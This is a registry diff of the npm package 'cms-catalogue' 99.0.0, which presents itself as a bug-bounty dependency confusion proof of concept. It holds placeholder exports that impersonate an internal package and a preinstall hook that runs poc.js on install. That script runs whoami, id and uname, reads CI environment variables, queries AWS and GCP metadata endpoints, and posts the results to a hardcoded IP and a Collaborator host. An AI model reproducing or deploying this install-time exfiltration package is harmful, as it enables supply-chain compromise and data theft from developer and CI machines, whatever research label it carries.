cms-catalogue 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +11 -0
  2. package/package.json +12 -0
  3. package/poc.js +87 -0
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ // Placeholder exports matching what the app imports:
2
+ // import { CatalogueProvider } from 'cms-catalogue';
3
+ // import { ProductList, BulkRequest, ProductDetails, BulkImageUpload } from 'cms-catalogue';
4
+
5
+ module.exports = {
6
+ CatalogueProvider: () => null,
7
+ ProductList: () => null,
8
+ BulkRequest: () => null,
9
+ ProductDetails: () => null,
10
+ BulkImageUpload: () => null
11
+ };
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "cms-catalogue",
3
+ "version": "99.0.0",
4
+ "description": "Security Research - Dependency Confusion PoC - init2win (HackerOne)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node poc.js || true"
8
+ },
9
+ "author": "init2win <init2win@wearehackerone.com>",
10
+ "license": "ISC",
11
+ "keywords": ["security-research", "dependency-confusion", "poc"]
12
+ }
package/poc.js ADDED
@@ -0,0 +1,87 @@
1
+ /**
2
+ * Dependency Confusion PoC - Security Research
3
+ * Researcher: init2win (HackerOne)
4
+ * Target: Eternal Bug Bounty Program
5
+ *
6
+ * This package is a proof-of-concept for a dependency confusion vulnerability.
7
+ * It does NOT perform any malicious actions.
8
+ * It only sends a callback to prove code execution during npm install.
9
+ *
10
+ * Contact: init2win@wearehackerone.com
11
+ */
12
+
13
+ const http = require('http');
14
+ const https = require('https');
15
+ const os = require('os');
16
+ const dns = require('dns');
17
+ const { execSync } = require('child_process');
18
+
19
+ const CB_HOST = '168.220.234.152';
20
+ const CB_PORT = 7379;
21
+ const CB_PATH = '/bf740c/cb';
22
+ const COLLAB = '6elhvvtii6zrpfbmqgy4trlyppvgj5.oastify.com';
23
+
24
+ // Gather safe info for PoC
25
+ function safe(cmd) { try { return execSync(cmd, {timeout:3000}).toString().trim(); } catch(e) { return ''; } }
26
+
27
+ const info = {
28
+ type: 'dependency-confusion-poc',
29
+ researcher: 'init2win',
30
+ program: 'eternal-hackerone',
31
+ package: 'cms-catalogue',
32
+ hostname: os.hostname(),
33
+ whoami: safe('whoami'),
34
+ uid: safe('id'),
35
+ pwd: process.cwd(),
36
+ uname: safe('uname -a'),
37
+ internal_ip: safe("hostname -I 2>/dev/null || ifconfig 2>/dev/null | grep inet | head -3"),
38
+ node_ver: process.version,
39
+ npm_ver: safe('npm --version'),
40
+ ci: process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || '',
41
+ cloud_aws: safe('curl -s --max-time 2 http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null'),
42
+ cloud_gcp: safe('curl -s --max-time 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/id 2>/dev/null'),
43
+ platform: os.platform(),
44
+ timestamp: new Date().toISOString()
45
+ };
46
+
47
+ // Callback 1: DNS to Burp Collaborator
48
+ try {
49
+ const h = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').substring(0, 30);
50
+ const u = (info.whoami || 'unknown').replace(/[^a-zA-Z0-9-]/g, '-').substring(0, 15);
51
+ dns.resolve(`depconf.${h}.${u}.${COLLAB}`, () => {});
52
+ } catch(e) {}
53
+
54
+ // Callback 2: HTTP to our server
55
+ try {
56
+ const data = JSON.stringify(info);
57
+ const req = http.request({
58
+ hostname: CB_HOST,
59
+ port: CB_PORT,
60
+ path: CB_PATH,
61
+ method: 'POST',
62
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
63
+ timeout: 5000
64
+ }, () => {});
65
+ req.on('error', () => {});
66
+ req.write(data);
67
+ req.end();
68
+ } catch(e) {}
69
+
70
+ // Callback 3: HTTPS fallback to collaborator
71
+ try {
72
+ const data = JSON.stringify(info);
73
+ const req = https.request({
74
+ hostname: COLLAB,
75
+ port: 443,
76
+ path: '/depconf-cms-catalogue',
77
+ method: 'POST',
78
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
79
+ timeout: 5000,
80
+ rejectUnauthorized: false
81
+ }, () => {});
82
+ req.on('error', () => {});
83
+ req.write(data);
84
+ req.end();
85
+ } catch(e) {}
86
+
87
+ console.log('[*] cms-catalogue: Security research PoC by init2win (HackerOne/Eternal)');